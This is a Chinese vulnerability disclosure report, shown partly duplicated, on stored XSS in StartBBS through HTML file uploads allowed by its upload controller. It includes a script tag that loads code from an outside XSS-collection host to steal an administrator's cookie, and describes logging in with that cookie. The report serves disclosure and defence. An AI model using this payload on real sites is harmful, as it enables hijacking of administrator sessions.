### 简要描述: startbbs某处设计不当导致存储型xss ### 详细说明: 之前提交了一个startbbs的存储型xss。 经过审查上传部分的代码,发现没有对恶意的html代码进行检测。 可以盲打管理人员。 \app\controllers\upload.php 代码: ``` public function qiniu() { //定义允许上传的文件扩展名 $ext_arr = array( 'image' => array('gif', 'jpg', 'jpeg', 'png','tiff'), 'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'), 'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2'), ); //省略若干行。。 ``` 我们可以看到,在file类型里头,用户允许上传htm,html格式的文件。给xss带来了很大的方便了。 本地测试: 构造一个存在包含`<script>alert(1)</script>`的页面,然后上传: [<img src="https://images.seebug.org/upload/201312/28201656882c2e73d3460c5ebc480c1d357fe183.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28201656882c2e73d3460c5ebc480c1d357fe183.jpg) 访问: [<img src="https://images.seebug.org/upload/201312/28201731a2b0292777c2e9abfdaf1966b839255f.jpg" alt="2.jpg" width="600"...
### 简要描述: startbbs某处设计不当导致存储型xss ### 详细说明: 之前提交了一个startbbs的存储型xss。 经过审查上传部分的代码,发现没有对恶意的html代码进行检测。 可以盲打管理人员。 \app\controllers\upload.php 代码: ``` public function qiniu() { //定义允许上传的文件扩展名 $ext_arr = array( 'image' => array('gif', 'jpg', 'jpeg', 'png','tiff'), 'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'), 'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2'), ); //省略若干行。。 ``` 我们可以看到,在file类型里头,用户允许上传htm,html格式的文件。给xss带来了很大的方便了。 本地测试: 构造一个存在包含`<script>alert(1)</script>`的页面,然后上传: [<img src="https://images.seebug.org/upload/201312/28201656882c2e73d3460c5ebc480c1d357fe183.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28201656882c2e73d3460c5ebc480c1d357fe183.jpg) 访问: [<img src="https://images.seebug.org/upload/201312/28201731a2b0292777c2e9abfdaf1966b839255f.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28201731a2b0292777c2e9abfdaf1966b839255f.jpg) ### 漏洞证明: 我们上传带有: `<script src=http://xsserme.sinaapp.com/zBDEVk?1388232904></script>` 的htm页面。 当管理员访问我们上传好的htm页面之后:得到cookie [<img src="https://images.seebug.org/upload/201312/28202046b767de789d4e21433a6e644df91382ed.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/28202046b767de789d4e21433a6e644df91382ed.jpg) 然后我们用管理员账户cookie登录(再次证明该bbs的存储型xss危害还是蛮大的): [<img src="https://images.seebug.org/upload/201312/282022286932ab0a5bfe7cd3ce34a59d3a4d860c.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/282022286932ab0a5bfe7cd3ce34a59d3a4d860c.jpg)